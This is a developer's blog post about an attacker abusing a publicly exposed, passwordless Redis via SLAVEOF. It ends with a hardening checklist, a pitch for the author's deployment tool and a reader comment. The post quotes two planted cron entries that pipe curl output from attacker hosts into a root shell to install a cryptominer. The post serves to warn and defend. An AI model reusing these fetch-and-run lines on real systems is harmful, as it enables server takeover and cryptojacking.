Your Redis Is Probably Naked Right Now
A solo dev security horror story with a very short checklist
Last month I wrote about finding a cryptominer in a client’s Kubernetes cluster. CVSS 10. Next.js RCE. Classic supply chain story. I got to play detective, feel smart, and write about it.
This month the cryptominer came for me.
Hey, I’m Lakshmi — I help developers build, deploy, and distribute their SaaS without hiring a team. I also run Stacksweller and Supabyoi.
New here? Start with Why Your AI Wakes Up Every Morning With No Memory or Clean Code Is Dead.
Saturday night. Tamil movie with my wife. Sentry pings: “Write against read-only replica.” Seventy-four times in two hours.
My first instinct was to ignore it. Background task failures. Probably a blip. But seventy-four errors is not a blip. That’s someone inside your house rearranging the furniture.
“Two minutes,” I told my wife. (Spoiler: It was not two minutes.)
The Dumbest Thing I’ve Done in 20 Years
I run a scheduling service — Celery task queue backed by Redis, deployed with Kamal on a Hetzner VPS. Standard solo dev stack. The kind of thing I literally help people set up.
Here’s the confession: Redis port 6379 was exposed to the public internet. No password. No authentication. For months.
I copied a deployment config. It worked. I shipped. I moved on to the next feature. Sound familiar?
An automated scanner found it. At 22:25 UTC, IP 46.19.137.194 sent a SLAVEOF command — telling my Redis to replicate from their command-and-control server. My Redis complied. For five seconds it went read-only, Celery workers started screaming, and the attacker planted two keys:
backup1: */2 * * * * root curl -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh
backup3: */4 * * * * root curl -fsSL http://103.79.77.16/ep9TS2/ndt.sh | shCryptominer installation scripts. Every two minutes. On my $12/month VPS.
The payloads never made it to crontab — the attack chain didn’t complete. But they were sitting in my Redis like loaded guns.
The Twenty-Minute Fix
Remove the public port mapping. Add a password. Done.
# Before: come one, come all
redis:
port: 6379
cmd: redis-server --appendonly yes
# After: invitation only
redis:
cmd: redis-server --appendonly yes --requirepass <32-char-password>Then ufw deny 6379/tcp, block the attacker IPs, delete the malicious keys. Sentry goes quiet. Movie resumes.
Twenty minutes to fix. Thirty seconds to have prevented.
The Pattern I Keep Seeing
Here’s what gets me. Last month it was a client — Next.js RCE, CVSS 10, dependency they forgot to update. This month it’s me — a port mapping I forgot to question.
Neither attack was sophisticated. Both exploited the gap between “it works” and “it’s secure.” The gap that widens every time you’re shipping fast, solo, with three other things on your plate.
When you’re the entire engineering team, you’re also the entire security team. There’s no infra review. No SOC watching at 10 PM. It’s you, your monitoring, and whatever defaults you didn’t question.
I’ve been doing infrastructure for twenty years, and I still shipped an unauthenticated Redis to production. Because the config worked and I had features to build.
This Is Why I’m Building VMKit
Every time I deploy something to a VPS, I’m making fifty decisions that could go wrong. Port mappings. Firewall rules. Authentication. TLS. Container networking. Every one of them is a potential Saturday night incident.
VMKit is my answer to this. Railway-like deployment experience on your own infrastructure — but with sane defaults baked in. No exposed ports unless you explicitly ask for them. Internal networking by default. The kind of guardrails that would have prevented this entire post from existing.
Because solo devs shouldn’t have to be security experts to deploy a Redis instance. The tooling should handle the boring, critical stuff so you can focus on the features that actually make money.
I’m building it because I keep shooting myself in the foot, and I’m tired of the limp.
Your Five-Minute Audit
If you’re running Redis, PostgreSQL, MongoDB, or Elasticsearch on a VPS right now:
docker compose config | grep -i port— anything bound to0.0.0.0? Kill it unless it needs public access.Add authentication to everything. Redis doesn’t require a password by default. This is unhinged, but here we are.
Set up Sentry or equivalent. Without error monitoring, I’d have a cryptominer running and a confused electricity bill.
ufw status. If the output surprises you, that’s your sign.Default deny. Allow only 22, 80, 443. Everything else is closed until you need it.
The attacker didn’t use a zero-day. They used Shodan, an open port, and my negligence. That’s the most common attack vector for solo-deployed SaaS, and it’s entirely preventable.
Don’t be me on a Saturday night. Five minutes. Audit your configs.
Your future self — and your wife — will thank you.


Really interesting one, Learning a lot from your crypto attacks blogs, That last line is catchy one sir, Your wife will thank you.
One question sir, How did you get the alert when you are watching a movie sir?? How you came to error they is something wrong via sentry sir??